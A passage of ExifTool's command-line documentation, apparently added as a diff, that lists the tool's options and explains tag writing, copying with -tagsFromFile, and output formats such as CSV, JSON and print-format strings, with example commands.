the exiftool command line. + +=head2 Option Overview + +L + + -TAG or --TAG Extract or exclude specified tag + -TAG[+-^]=[VALUE] Write new value for tag + -TAG[+-]<=DATFILE Write tag value from contents of file + -[+]TAG[+-] + + -args (-argFormat) Format metadata as exiftool arguments + -b (-binary) Output metadata in binary format + -c FMT (-coordFormat) Set format for GPS coordinates + -charset [[TYPE=]CHARSET] Specify encoding for special characters + -csv[[+]=CSVFILE] Export/import tags in CSV format + -csvDelim STR Set delimiter for CSV file + -d FMT (-dateFormat) Set format for date/time values + -D (-decimal) Show tag ID numbers in decimal + -E,-ex,-ec (-escape(HTML|XML|C))Escape tag values for HTML, XML or C + -f (-forcePrint) Force printing of all specified tags + -g[NUM...] (-groupHeadings) Organize output by tag group + -G[NUM...] (-groupNames) Print group name for each tag + -h (-htmlFormat) Use HTML formatting for output + -H (-hex) Show tag ID numbers in hexadecimal + -htmlDump[OFFSET] Generate HTML-format binary dump + -j[[+]=JSONFILE] (-json) Export/import tags in JSON format + -l (-long) Use long 2-line output format + -L (-latin) Use Windows Latin1 encoding + -lang [LANG] Set current language + -listItem INDEX Extract specific item from a list + -n (--printConv) No print conversion + -p[-] STR (-printFormat) Print output in specified format + -php Export tags as a PHP Array + -s[NUM] (-short) Short output format (-s for tag names) + -S (-veryShort) Very short output format + -sep STR (-separator) Set separator string for list items + -sort Sort output alphabetically + -struct Enable output of structured information + -t (-tab) Output in tab-delimited list format + -T (-table) Output in tabular format + -v[NUM] (-verbose) Print verbose messages + -w[+|!] EXT (-textOut) Write (or overwrite!) output text files + -W[+|!] FMT (-tagOut) Write output text file for each tag + -Wext EXT (-tagOutExt) Write only specified file types with -W + -X (-xmlFormat) Use RDF/XML output format + +L + + -a (-duplicates) Allow duplicate tags to be extracted + -e (--composite) Do not generate composite tags + -ee[NUM] (-extractEmbedded) Extract information from embedded files + -ext[+] EXT (-extension) Process files with specified extension + -F[OFFSET] (-fixBase) Fix the base for maker notes offsets + -fast[NUM] Increase speed when extracting metadata + -fileOrder[NUM] [-]TAG Set file processing order + -i DIR (-ignore) Ignore specified directory name + -if[NUM] EXPR Conditionally process files + -m (-ignoreMinorErrors) Ignore minor errors and warnings + -o OUTFILE (-out) Set output file or directory name + -overwrite_original Overwrite original by renaming tmp file + -overwrite_original_in_place Overwrite original by copying tmp file + -P (-preserve) Preserve file modification date/time + -password PASSWD Password for processing protected files + -progress[NUM][:[TITLE]] Show file progress count + -q (-quiet) Quiet processing + -r[.] (-recurse) Recursively process subdirectories + -scanForXMP Brute force XMP scan + -u (-unknown) Extract unknown tags + -U (-unknown2) Extract unknown binary tags too + -wm MODE (-writeMode) Set mode for writing/creating tags + -z (-zip) Read/write compressed information + +L + + -@ ARGFILE Read command-line arguments from file + -k (-pause) Pause before terminating + -list[w|f|wf|g[NUM]|d|x] List various exiftool capabilities + -ver Print exiftool version number + -- End of options + +L + + -geotag TRKFILE Geotag images from specified GPS log + -globalTimeShift SHIFT Shift all formatted date/time values + -use MODULE Add features from plug-in module + +L + + -delete_original[!] Delete "_original" backups + -restore_original Restore from "_original" backups + +L + + -api OPT[[^]=[VAL]] Set ExifTool API option + -common_args Define common arguments + -config CFGFILE Specify configuration file name + -echo[NUM] TEXT Echo text to stdout or stderr + -efile[NUM][!] TXTFILE Save names of files with errors + -execute[NUM] Execute multiple commands on one line + -fileNUM ALTFILE Load tags from alternate file + -list_dir List directories, not their contents + -srcfile FMT Process a different source file + -stay_open FLAG Keep reading -@ argfile even after EOF + -userParam PARAM[[^]=[VAL]] Set user parameter (API UserParam opt) + +=head2 Option Details + +=head3 Tag operations + +=over 5 + +=item B<->I + +Extract information for the specified tag (eg. C<-CreateDate>). Multiple +tags may be specified in a single command. A tag name is the handle by +which a piece of information is referenced. See +L for documentation on +available tag names. A tag name may include leading group names separated +by colons (eg. C<-EXIF:CreateDate>, or C<-Doc1:XMP:Creator>), and each group +name may be prefixed by a digit to specify family number (eg. +C<-1IPTC:City>). (Note that the API SavePath and SaveFormat options must be +used for the family 5 and 6 groups respectively to be available.) Use the +B<-listg> option to list available group names by family. + +A special tag name of C may be used to indicate all meta information +(ie. B<-All>). This is particularly useful when a group name is specified +to extract all information in a group (but beware that unless the B<-a> +option is also used, some tags in the group may be suppressed by same-named +tags in other groups). The wildcard characters C and C<*> may be used in +a tag name to match any single character and zero or more characters +respectively. These may not be used in a group name, with the exception +that a group name of C<*> (or C) may be used to extract all instances +of a tag (as if B<-a> was used). Note that arguments containing wildcards +must be quoted on the command line of most systems to prevent shell +globbing. + +A C<#> may be appended to the tag name to disable the print conversion on a +per-tag basis (see the B<-n> option). This may also be used when writing or +copying tags. + +If no tags are specified, all available information is extracted (as if +C<-All> had been specified). + +Note: Descriptions, not tag names, are shown by default when extracting +information. Use the B<-s> option to see the tag names instead. + +=item B<-->I + +Exclude specified tag from extracted information. Same as the B<-x> option. +Group names and wildcards are permitted as described above for B<-TAG>. +Once excluded from the output, a tag may not be re-included by a subsequent +option. May also be used following a B<-tagsFromFile> option to exclude +tags from being copied (when redirecting to another tag, it is the source +tag that should be excluded), or to exclude groups from being deleted when +deleting all information (eg. C<-all= --exif:all> deletes all but EXIF +information). But note that this will not exclude individual tags from a +group delete (unless a family 2 group is specified, see note 4 below). +Instead, individual tags may be recovered using the B<-tagsFromFile> option +(eg. C<-all= -tagsfromfile @ -artist>). + +To speed processing when reading XMP, exclusions in XMP groups also bypass +processing of the corresponding XMP property and any contained properties. +For example, C<--xmp-crs:all> may speed processing significantly in cases +where a large number of XMP-crs tags exist. To use this feature to bypass +processing of a specific XMP property, the property name must be used +instead of the ExifTool tag name (eg. C<--xmp-crs:dabs>). Also, C +may be used to to indicate any XMP namespace (eg. C<--xmp-all:dabs>). + +=item B<->I[+-^]B<=>[I] + +Write a new value for the specified tag (eg. C<-comment=wow>), or delete the +tag if no I is given (eg. C<-comment=>). C<+=> and C<-=> are used to +add or remove existing entries from a list, or to shift date/time values +(see L and note 6 below +for more details). C<+=> may also be used to increment numerical values (or +decrement if I is negative), and C<-=> may be used to conditionally +delete or replace a tag (see L for examples). C<^=> is +used to write an empty string instead of deleting the tag when no I +is given, but otherwise it is equivalent to C<=>. (Note that the caret must +be quoted on the Windows command line.) + +I may contain one or more leading family 0, 1, 2 or 7 group names, +prefixed by optional family numbers, and separated colons. If no group name +is specified, the tag is created in the preferred group, and updated in any +other location where a same-named tag already exists. The preferred group +in JPEG and TIFF-format images is the first group in the following list +where I is valid: 1) EXIF, 2) IPTC, 3) XMP. + +The wildcards C<*> and C may be used in tag names to assign the same +value to multiple tags. When specified with wildcards, "Unsafe" tags are +not written. A tag name of C is equivalent to C<*> (except that it +doesn't require quoting, while arguments with wildcards do on systems with +shell globbing), and is often used when deleting all metadata (ie. C<-All=>) +or an entire group (eg. C<-XMP-dc:All=>, see note 4 below). Note that not +all groups are deletable, and that the JPEG APP14 "Adobe" group is not +removed by default with C<-All=> because it may affect the appearance of the +image. However, color space information is removed, so the colors may be +affected (but this may be avoided by copying back the tags defined by the +ColorSpaceTags shortcut). Use the B<-listd> option for a complete list of +deletable groups, and see note 5 below regarding the "APP" groups. Also, +within an image some groups may be contained within others, and these groups +are removed if the containing group is deleted: + + JPEG Image: + - Deleting EXIF or IFD0 also deletes ExifIFD, GlobParamIFD, + GPS, IFD1, InteropIFD, MakerNotes, PrintIM and SubIFD. + - Deleting ExifIFD also deletes InteropIFD and MakerNotes. + - Deleting Photoshop also deletes IPTC. + + TIFF Image: + - Deleting EXIF only removes ExifIFD which also deletes + InteropIFD and MakerNotes. + + MOV/MP4 Video: + - Deleting ItemList also deletes Keys tags. + +Notes: + +1) B. If two +assignments affect the same tag, the latter takes precedence (except for +list-type tags, for which both values are written). + +2) In general, MakerNotes tags are considered "Permanent", and may be edited +but not created or deleted individually. This avoids many potential +problems, including the inevitable compatibility problems with OEM software +which may be very inflexible about the information it expects to find in the +maker notes. + +3) Changes to PDF files by ExifTool are reversible (by deleting the update +with C<-PDF-update:all=>) because the original information is never actually +deleted from the file. So ExifTool alone may not be used to securely edit +metadata in PDF files. + +4) Specifying C<-GROUP:all=> deletes the entire group as a block only if a +single family 0 or 1 group is specified. Otherwise all deletable tags in +the specified group(s) are removed individually, and in this case is it +possible to exclude individual tags from a mass delete. For example, +C<-time:all --Exif:Time:All> removes all deletable Time tags except those in +the EXIF. This difference also applies if family 2 is specified when +deleting all groups. For example, C<-2all:all=> deletes tags individually, +while C<-all:all=> deletes entire blocks. + +5) The "APP" group names ("APP0" through "APP15") are used to delete JPEG +application segments which are not associated with another deletable group. +For example, specifying C<-APP14:All=> will NOT delete the APP14 "Adobe" +segment because this is accomplished with C<-Adobe:All>. But note that +these unnamed APP segments may not be excluded with C<--APPxx:all> when +deleting all information. + +6) When shifting a value, the shift is applied to the original value of the +tag, overriding any other values previously assigned to the tag on the same +command line. To shift a date/time value and copy it to another tag in the +same operation, use the B<-globalTimeShift> option. + +Special feature: Integer values may be specified in hexadecimal with a +leading C<0x>, and simple rational values may be specified as fractions. + +=item B<->IE=I or B<->IE=I + +Set the value of a tag from the contents of file I. The file name +may also be given by a I string where %d, %f and %e represent the +directory, file name and extension of the original I (see the B<-w> +option for more details). Note that quotes are required around this +argument to prevent shell redirection since it contains a C> symbol. +If I/I is not provided, the effect is the same as C<-TAG=>, +and the tag is simply deleted. C<+E=> or C<-E=> may also be used to +add or delete specific list entries, or to shift date/time values. + +=item B<-tagsFromFile> I or I + +Copy tag values from I to I. Tag names on the command line +after this option specify the tags to be copied, or excluded from the copy. +Wildcards are permitted in these tag names. If no tags are specified, then +all possible tags (see note 1 below) from the source file are copied to +same-named tags in the preferred location of the output file (the same as +specifying C<-all>). More than one B<-tagsFromFile> option may be used to +copy tags from multiple files. + +By default, this option will update any existing and writable same-named +tags in the output I, but will create new tags only in their preferred +groups. This allows some information to be automatically transferred to the +appropriate group when copying between images of different formats. However, +if a group name is specified for a tag then the information is written only +to this group (unless redirected to another group, see below). If C is +used as a group name, then the specified tag(s) are written to the same +family 1 group they had in the source file (ie. the same specific location, +like ExifIFD or XMP-dc). For example, the common operation of copying all +writable tags to the same specific locations in the output I is +achieved by adding C<-all:all>. A different family may be specified by +adding a leading family number to the group name (eg. C<-0all:all> preserves +the same general location, like EXIF or XMP). + +I may be the same as I to move information around within a +single file. In this case, C<@> may be used to represent the source file +(ie. C<-tagsFromFile @>), permitting this feature to be used for batch +processing multiple files. Specified tags are then copied from each file in +turn as it is rewritten. For advanced batch use, the source file name may +also be specified using a I string in which %d, %f and %e represent the +directory, file name and extension of I. (eg. the current I +would be represented by C<%d%f.%e>, with the same effect as C<@>). See the +B<-w> option for I string examples. + +A powerful redirection feature allows a destination tag to be specified for +each copied tag. With this feature, information may be written to a tag +with a different name or group. This is done using +E'-IEI'E or +E'-IEI'E on the command line after +B<-tagsFromFile>, and causes the value of I to be copied from +I and written to I in I. Has no effect unless +I exists in I. Note that this argument must be quoted to +prevent shell redirection, and there is no C<=> sign as when assigning new +values. Source and/or destination tags may be prefixed by a group name +and/or suffixed by C<#>. Wildcards are allowed in both the source and +destination tag names. A destination group and/or tag name of C or +C<*> writes to the same family 1 group and/or tag name as the source (but +the family may be specified by adding a leading number to the group name, +eg. C<0All> writes to the same family 0 group as the source). If no +destination group is specified, the information is written to the preferred +group. Whitespace around the C> or C> is ignored. As a +convenience, C<-tagsFromFile @> is assumed for any redirected tags which are +specified without a prior B<-tagsFromFile> option. Copied tags may also be +added or deleted from a list with arguments of the form +E'-I+EI'E or +E'-I-EI'E (but see Note 5 below). + +An extension of the redirection feature allows strings involving tag names +to be used on the right hand side of the C> symbol with the syntax +E'-IEI'E, where tag names in I are +prefixed with a C<$> symbol. See the B<-p> option and the +L section for more details about this syntax. +Strings starting with a C<=> sign must insert a single space after the +C> to avoid confusion with the C=> operator which sets the tag +value from the contents of a file. A single space at the start of the +string is removed if it exists, but all other whitespace in the string is +preserved. See note 8 below about using the redirection feature with +list-type stags, shortcuts or when using wildcards in tag names. + +See L for examples using B<-tagsFromFile>. + +Notes: + +1) Some tags (generally tags which may affect the appearance of the image) +are considered "Unsafe" to write, and are only copied if specified +explicitly (ie. no wildcards). See the +L for more details about +"Unsafe" tags. + +2) Be aware of the difference between excluding a tag from being copied +(--I), and deleting a tag (-I=). Excluding a tag prevents it from +being copied to the destination image, but deleting will remove a +pre-existing tag from the image. + +3) The maker note information is copied as a block, so it isn't affected +like other information by subsequent tag assignments on the command line, +and individual makernote tags may not be excluded from a block copy. Also, +since the PreviewImage referenced from the maker notes may be rather large, +it is not copied, and must be transferred separately if desired. + +4) The order of operations is to copy all specified tags at the point of the +B<-tagsFromFile> option in the command line. Any tag assignment to the +right of the B<-tagsFromFile> option is made after all tags are copied. For +example, new tag values are set in the order One, Two, Three then Four with +this command: + + exiftool -One=1 -tagsFromFile s.jpg -Two -Four=4 -Three d.jpg + +This is significant in the case where an overlap exists between the copied +and assigned tags because later operations may override earlier ones. + +5) The normal behaviour of copied tags differs from that of assigned tags +for list-type tags and conditional replacements because each copy operation +on a tag overrides any previous operations. While this avoids duplicate +list items when copying groups of tags from a file containing redundant +information, it also prevents values of different tags from being copied +into the same list when this is the intent. To accumulate values +from different operations into the same list, add a C<+> after the initial +C<-> of the argument. For example: + + exiftool -tagsfromfile @ '-subject must be used when conditionally replacing a tag to +prevent overriding earlier conditions. + +6) The B<-a> option (allow duplicate tags) is always in effect when copying +tags from I, but the highest priority tag is always copied last so +it takes precedence. + +7) Structured tags are copied by default when copying tags. See the +B<-struct> option for details. + +8) With the redirection feature, copying a tag directly (ie. +E'-IEI'E) is not the same as interpolating +its value inside a string (ie. E'-IE$I'E) +for source tags which are list-type tags, +L, tag names containing wildcards, +or UserParam variables. When copying directly, the values of each matching +source tag are copied individually to the destination tag (as if they were +separate assignments). However, when interpolated inside a string, list +items and the values of shortcut tags are concatenated (with a separator set +by the B<-sep> option), and wildcards are not allowed. Also, UserParam +variables are available only when interpolated in a string. Another +difference is that a minor warning is generated if a tag doesn't exist when +interpolating its value in a string (with C<$>), but isn't when copying the +tag directly. + +Finally, the behaviour is different when a destination tag or group of +C is used. When copying directly, a destination group and/or tag name +of C writes to the same family 1 group and/or tag name as the source. +But when interpolated in a string, the identity of the source tags are lost +and the value is written to all possible groups/tags. For example, the +string form must be used in the following command since the intent is to set +the value of all existing date/time tags from C: + + exiftool '-time:all<$createdate' -wm w FILE + +=item B<-x> I (B<-exclude>) + +Exclude the specified tag. There may be multiple B<-x> options. This has +the same effect as --I on the command line. See the --I +documentation above for a complete description. + +=back + +=head3 Input-output text formatting + +Note that trailing spaces are removed from extracted values for most output +text formats. The exceptions are B<-b>, B<-csv>, B<-j> and B<-X>. + +=over 5 + +=item B<-args> (B<-argFormat>) + +Output information in the form of exiftool arguments, suitable for use with +the B<-@> option when writing. May be combined with the B<-G> option to +include group names. This feature may be used to effectively copy tags +between images, but allows the metadata to be altered by editing the +intermediate file (C in this example): + + exiftool -args -G1 --filename --directory src.jpg > out.args + exiftool -@ out.args -sep ', ' dst.jpg + +Note: Be careful when copying information with this technique since it is +easy to write tags which are normally considered "Unsafe". For instance, +the FileName and Directory tags are excluded in the example above to avoid +renaming and moving the destination file. Also note that the second command +above will produce warning messages for any tags which are not writable. + +As well, the B<-sep> option should be used as in the second command above to +maintain separate list items when writing metadata back to image files, and +the B<-struct> option may be used when extracting to preserve structured XMP +information. + +=item B<-b>, B<--b> (B<-binary>, B<--binary>) + +Output requested metadata in binary format without tag names or descriptions +(B<-b> or B<-binary>). This option is mainly used for extracting embedded +images or other binary data, but it may also be useful for some text strings +since control characters (such as newlines) are not replaced by '.' as they +are in the default output. By default, list items are separated by a +newline when extracted with the B<-b> option, but this may be changed (see +the B<-sep> option for details). May be combined with B<-j>, B<-php> or +B<-X> to extract binary data in JSON, PHP or XML format, but note that +"Unsafe" tags are not extracted as binary unless they are specified +explicitly or the API RequestAll option is set to 3 or higher. + +With a leading double dash (B<--b> or B<--binary>), tags which contain +binary data are suppressed in the output when reading. + +=item B<-c> I (B<-coordFormat>) + +Set the print format for GPS coordinates. I uses the same syntax as +a C format string. The specifiers correspond to degrees, minutes +and seconds in that order, but minutes and seconds are optional. For +example, the following table gives the output for the same coordinate using +various formats: + + FMT Output + ------------------- ------------------ + "%d deg %d' %.2f"\" 54 deg 59' 22.80" (default for reading) + "%d %d %.8f" 54 59 22.80000000 (default for copying) + "%d deg %.4f min" 54 deg 59.3800 min + "%.6f degrees" 54.989667 degrees + +Notes: + +1) To avoid loss of precision, the default coordinate format is different +when copying tags using the B<-tagsFromFile> option. + +2) If the hemisphere is known, a reference direction (N, S, E or W) is +appended to each printed coordinate, but adding a C<+> or C<-> to the format +specifier (eg. C<%+.6f> or C<%-.6f>) prints a signed coordinate instead. +(C<+> adds a leading "+" for positive coordinates, but C<-> does not.) + +3) This print formatting may be disabled with the B<-n> option to extract +coordinates as signed decimal degrees. + +=item B<-charset> [[I=]I] + +If I is C or not specified, this option sets the ExifTool +character encoding for output tag values when reading and input values when +writing, with a default of C. If no I is given, a list of +available character sets is returned. Valid I values are: + + CHARSET Alias(es) Description + ---------- --------------- ---------------------------------- + UTF8 cp65001, UTF-8 UTF-8 characters (default) + Latin cp1252, Latin1 Windows Latin1 (West European) + Latin2 cp1250 Windows Latin2 (Central European) + Cyrillic cp1251, Russian Windows Cyrillic + Greek cp1253 Windows Greek + Turkish cp1254 Windows Turkish + Hebrew cp1255 Windows Hebrew + Arabic cp1256 Windows Arabic + Baltic cp1257 Windows Baltic + Vietnam cp1258 Windows Vietnamese + Thai cp874 Windows Thai + DOSLatinUS cp437 DOS Latin US + DOSLatin1 cp850 DOS Latin1 + DOSCyrillic cp866 DOS Cyrillic + MacRoman cp10000, Roman Macintosh Roman + MacLatin2 cp10029 Macintosh Latin2 (Central Europe) + MacCyrillic cp10007 Macintosh Cyrillic + MacGreek cp10006 Macintosh Greek + MacTurkish cp10081 Macintosh Turkish + MacRomanian cp10010 Macintosh Romanian + MacIceland cp10079 Macintosh Icelandic + MacCroatian cp10082 Macintosh Croatian + +I may be C to specify the encoding of file names on the +command line (ie. I arguments). In Windows, this triggers use of +wide-character i/o routines, thus providing support for Unicode file names. +See the L section below for details. + +Other values of I listed below are used to specify the internal +encoding of various meta information formats. + + TYPE Description Default + --------- ------------------------------------------- ------- + EXIF Internal encoding of EXIF "ASCII" strings (none) + ID3 Internal encoding of ID3v1 information Latin + IPTC Internal IPTC encoding to assume when Latin + IPTC:CodedCharacterSet is not defined + Photoshop Internal encoding of Photoshop IRB strings Latin + QuickTime Internal encoding of QuickTime strings MacRoman + RIFF Internal encoding of RIFF strings 0 + +See L for more information about coded +character sets, and the L +for more details about the B<-charset> settings. + +=item B<-csv>[[+]=I] + +Export information in CSV format, or import information if I is +specified. When importing, the CSV file must be in exactly the same format +as the exported file. The first row of the I must be the ExifTool +tag names (with optional group names) for each column of the file, and +values must be separated by commas. A special "SourceFile" column specifies +the files associated with each row of information (and a SourceFile of "*" +may be used to define default tags to be imported for all files which are +combined with any tags specified for the specific SourceFile processed). The +B<-csvDelim> option may be used to change the input/output field delimiter +if something other than a comma is required. + +The following examples demonstrate basic use of the B<-csv> option: + + # generate CSV file with common tags from all images in a directory + exiftool -common -csv dir > out.csv + + # update metadata for all images in a directory from CSV file + exiftool -csv=a.csv dir + +When importing, empty values are ignored unless the B<-f> option is used and +the API MissingTagValue is set to an empty string (in which case the tag is +deleted). Also, FileName and Directory columns are ignored if they exist +(ie. ExifTool will not attempt to write these tags with a CSV import), but +all other columns are imported. To force a tag to be deleted, use the B<-f> +option and set the value to "-" in the CSV file (or to the MissingTagValue +if this API option was used). Multiple databases may be imported in a +single command. + +When exporting a CSV file, the B<-g> or B<-G> option adds group names to the +tag headings. If the B<-a> option is used to allow duplicate tag names, the +duplicate tags are only included in the CSV output if the column headings +are unique. Adding the B<-G4> option ensures a unique column heading for +each tag. The B<-b> option may be added to output binary data, encoded in +base64 if necessary (indicated by ASCII "base64:" as the first 7 bytes of +the value). Values may also be encoded in base64 if the B<-charset> option +is used and the value contains invalid characters. + +When exporting specific tags, the CSV columns are arranged in the same order +as the specified tags provided the column headings exactly match the +specified tag names, otherwise the columns are sorted in alphabetical order. + +When importing from a CSV file, only files specified on the command line are +processed. Any extra entries in the CSV file are ignored. + +List-type tags are stored as simple strings in a CSV file, but the B<-sep> +option may be used to split them back into separate items when importing. + +Special feature: B<-csv>+=I may be used to add items to existing +lists. This affects only list-type tags. Also applies to the B<-j> option. + +Note that this option is fundamentally different than all other output +format options because it requires information from all input files to be +buffered in memory before the output is written. This may result in +excessive memory usage when processing a very large number of files with a +single command. Also, it makes this option incompatible with the B<-w> and +B<-W> options. When processing a large number of files, it is recommended +to either use the JSON (B<-j>) or XML (B<-X>) output format, or use B<-p> to +generate a fixed-column CSV file instead of using the B<-csv> option. + +=item B<-csvDelim> I + +Set the delimiter for separating CSV entries for CSV file input/output via +the B<-csv> option. I may contain "\t", "\n", "\r" and "\\" to +represent TAB, LF, CR and '\' respectively. A double quote is not allowed +in the delimiter. Default is ','. + +=item B<-d> I (B<-dateFormat>) + +Set the format for date/time tag values. The I string may contain +formatting codes beginning with a percent character (C<%>) to represent the +various components of a date/time value. The specifics of the I syntax +are system dependent -- consult the C man page on your system for +details. The default format is equivalent to "%Y:%m:%d %H:%M:%S". This +option has no effect on date-only or time-only tags and ignores timezone +information if present. ExifTool adds a C<%f> format code to represent +fractional seconds, and supports an optional width to specify the number of +digits after the decimal point (eg. C<%3f> would give something like +C<.437>), and a minus sign to drop the decimal point (eg. C<%-3f> would give +C<437>). Only one B<-d> option may be used per command. Requires +POSIX::strptime or Time::Piece for the inversion conversion when writing. + +=item B<-D> (B<-decimal>) + +Show tag ID number in decimal when extracting information. + +=item B<-E>, B<-ex>, B<-ec> (B<-escapeHTML>, B<-escapeXML>, B<-escapeC>) + +Escape characters in output tag values for HTML (B<-E>), XML (B<-ex>) or C +(B<-ec>). For HTML, all characters with Unicode code points above U+007F +are escaped as well as the following 5 characters: & (&) E<39> (') +E (") E (>) and E (<). For XML, only these 5 +characters are escaped. The B<-E> option is implied with B<-h>, and B<-ex> +is implied with B<-X>. For C, all control characters and the backslash are +escaped. The inverse conversion is applied when writing tags. + +=item B<-f> (B<-forcePrint>) + +Force printing of tags even if they don't exist. This option applies to +tags specified on the command line, or with the B<-p>, B<-if> or +B<-tagsFromFile> options. When B<-f> is used, the value of any missing tag +is set to a dash (C<->) by default, but this may be configured via the API +MissingTagValue option. B<-f> is also used to add a 'flags' attribute to +the B<-listx> output, or to allow tags to be deleted when writing with the +B<-csv>=I feature. + +=item B<-g>[I][:I...] (B<-groupHeadings>) + +Organize output by tag group. I specifies a group family number, and +may be 0 (general location), 1 (specific location), 2 (category), 3 +(document number), 4 (instance number), 5 (metadata path), 6 (EXIF/TIFF +format), 7 (tag ID) or 8 (file number). B<-g0> is assumed if a family +number is not specified. May be combined with other options to add group +names to the output. Multiple families may be specified by separating them +with colons. By default the resulting group name is simplified by removing +any leading C and collapsing adjacent identical group names, but this +can be avoided by placing a colon before the first family number (eg. +B<-g:3:1>). Use the B<-listg> option to list group names for a specified +family. The API SavePath and SaveFormat options are automatically enabled +if the respective family 5 or 6 group names are requested. See the +L for more information. + +=item B<-G>[I][:I...] (B<-groupNames>) + +Same as B<-g> but print group name for each tag. B<-G0> is assumed if +I is not specified. May be combined with a number of other options to +add group names to the output. Note that I may be added wherever B<-G> +is mentioned in the documentation. See the B<-g> option above for details. + +=item B<-h> (B<-htmlFormat>) + +Use HTML table formatting for output. Implies the B<-E> option. The +formatting options B<-D>, B<-H>, B<-g>, B<-G>, B<-l> and B<-s> may be used +in combination with B<-h> to influence the HTML format. + +=item B<-H> (B<-hex>) + +Show tag ID number in hexadecimal when extracting information. + +=item B<-htmlDump>[I] + +Generate a dynamic web page containing a hex dump of the EXIF information. +This can be a very powerful tool for low-level analysis of EXIF information. +The B<-htmlDump> option is also invoked if the B<-v> and B<-h> options are +used together. The verbose level controls the maximum length of the blocks +dumped. An I may be given to specify the base for displayed +offsets. If not provided, the EXIF/TIFF base offset is used. Use +B<-htmlDump0> for absolute offsets. Currently only EXIF/TIFF and JPEG +information is dumped, but the -u option can be used to give a raw hex dump +of other file formats. + +=item B<-j>[[+]=I] (B<-json>) + +Use JSON (JavaScript Object Notation) formatting for console output, or +import JSON file if I is specified. This option may be combined +with B<-g> to organize the output into objects by group, or B<-G> to add +group names to each tag. List-type tags with multiple items are output as +JSON arrays unless B<-sep> is used. By default XMP structures are flattened +into individual tags in the JSON output, but the original structure may be +preserved with the B<-struct> option (this also causes all list-type XMP +tags to be output as JSON arrays, otherwise single-item lists would be +output as simple strings). The B<-a> option is implied when B<-json> is +used, but entries with identical JSON names are suppressed in the output. +(B<-G4> may be used to ensure that all tags have unique JSON names.) Adding +the B<-D> or B<-H> option changes tag values to JSON objects with "val" and +"id" fields, and adding B<-l> adds a "desc" field, and a "num" field if the +numerical value is different from the converted "val". The B<-b> option may +be added to output binary data, encoded in base64 if necessary (indicated by +ASCII "base64:" as the first 7 bytes of the value), and B<-t> may be added +to include tag table information (see B<-t> for details). The JSON output +is UTF-8 regardless of any B<-L> or B<-charset> option setting, but the +UTF-8 validation is disabled if a character set other than UTF-8 is +specified. Note that ExifTool quotes JSON values only if they don't look +like numbers (regardless of the original storage format or the relevant +metadata specification). + +If I is specified, the file is imported and the tag definitions +from the file are used to set tag values on a per-file basis. The special +"SourceFile" entry in each JSON object associates the information with a +specific target file. An object with a missing SourceFile or a SourceFile +of "*" defines default tags for all target files which are combined with any +tags specified for the specific SourceFile processed. The imported JSON +file must have the same format as the exported JSON files with the exception +that options exporting JSON objects instead of simple values are not +compatible with the import file format (ie. export with B<-D>, B<-H>, B<-l>, +or B<-T> is not compatible, and use B<-G> instead of B<-g>). Additionally, +tag names in the input JSON file may be suffixed with a C<#> to disable +print conversion. + +Unlike CSV import, empty values are not ignored, and will cause an empty +value to be written if supported by the specific metadata type. Tags are +deleted by using the B<-f> option and setting the tag value to "-" (or to +the MissingTagValue setting if this API option was used). Importing with +B<-j>+=I causes new values to be added to existing lists. + +=item B<-l> (B<-long>) + +Use long 2-line Canon-style output format. Adds a description and +unconverted value (if it is different from the converted value) to the XML, +JSON or PHP output when B<-X>, B<-j> or B<-php> is used. May also be +combined with B<-listf>, B<-listr> or B<-listwf> to add descriptions of the +file types. + +=item B<-L> (B<-latin>) + +Use Windows Latin1 encoding (cp1252) for output tag values instead of the +default UTF-8. When writing, B<-L> specifies that input text values are +Latin1 instead of UTF-8. Equivalent to C<-charset latin>. + +=item B<-lang> [I] + +Set current language for tag descriptions and converted values. I is +C, C, C, etc. Use B<-lang> with no other arguments to get a +list of available languages. The default language is C if B<-lang> is +not specified. Note that tag/group names are always English, independent of +the B<-lang> setting, and translation of warning/error messages has not yet +been implemented. May also be combined with B<-listx> to output +descriptions in one language only. + +By default, ExifTool uses UTF-8 encoding for special characters, but the +B<-L> or B<-charset> option may be used to invoke other encodings. Note +that ExifTool uses Unicode::LineBreak if available to help preserve the +column alignment of the plain text output for languages with a +variable-width character set. + +Currently, the language support is not complete, but users are welcome to +help improve this by submitting their own translations. To submit a +translation, follow these steps (you must have Perl installed for this): + +1. Download and unpack the latest Image-ExifTool full distribution. + +2. 'cd' into the Image-ExifTool directory. + +3. Run this command to make an XML file of the desired tags (eg. EXIF): + + ./exiftool -listx -exif:all > out.xml + +4. Copy this text into a file called 'import.pl' in the exiftool directory: + + push @INC, 'lib'; + require Image::ExifTool::TagInfoXML; + my $file = shift or die "Expected XML file name\n"; + $Image::ExifTool::TagInfoXML::makeMissing = shift; + Image::ExifTool::TagInfoXML::BuildLangModules($file,8); + +5. Run the 'import.pl' script to Import the XML file, generating the +'MISSING' entries for your language (eg. Russian): + + perl import.pl out.xml ru + +6. Edit the generated language module lib/Image/ExifTool/Lang/ru.pm, and +search and replace all 'MISSING' strings in the file with your translations. + +7. Email the module ('ru.pm' in this example) to philharvey66 at gmail.com + +8. Thank you!! + +=item B<-listItem> I + +For list-type tags, this causes only the item with the specified index to be +extracted. I is 0 for the first item in the list. Negative indices +may also be used to reference items from the end of the list. Has no effect +on single-valued tags. Also applies to tag values when copying from a tag, +and in B<-if> conditions. + +=item B<-n> (B<--printConv>) + +Disable print conversion for all tags. By default, extracted values are +converted to a more human-readable format, but the B<-n> option disables +this conversion, revealing the machine-readable values. For example: + + > exiftool -Orientation -S a.jpg + Orientation: Rotate 90 CW + > exiftool -Orientation -S -n a.jpg + Orientation: 6 + +The print conversion may also be disabled on a per-tag basis by suffixing +the tag name with a C<#> character: + + > exiftool -Orientation# -Orientation -S a.jpg + Orientation: 6 + Orientation: Rotate 90 CW + +These techniques may also be used to disable the inverse print conversion +when writing. For example, the following commands all have the same effect: + + > exiftool -Orientation='Rotate 90 CW' a.jpg + > exiftool -Orientation=6 -n a.jpg + > exiftool -Orientation#=6 a.jpg + +=item B<-p>[-] I or I (B<-printFormat>) + +Print output in the format specified by the given string or file. The +argument is interpreted as a string unless a file of that name exists, in +which case the string is loaded from the contents of the file. Tag names in +the format string or file begin with a C<$> symbol and may contain leading +group names and/or a trailing C<#> (to disable print conversion). Case is +not significant. Braces C<{}> may be used around the tag name to separate +it from subsequent text (and must be used if subsequent text begins with an +alphanumeric character, hyphen, underline, colon or number sign). Use C<$$> +to represent a C<$> symbol, and C<$/> for a newline. When the string +argument is used (ie. I), a newline is added to the end of the string +unless B<-p-> is specified or the B<-b> option is used. + +Multiple B<-p> options may be used. Lines beginning with C<#[HEAD]> and +C<#[TAIL]> are output before the first processed file and after the last +processed file respectively. Lines beginning with C<#[SECT]> and C<#[ENDS]> +are output before and after each section of 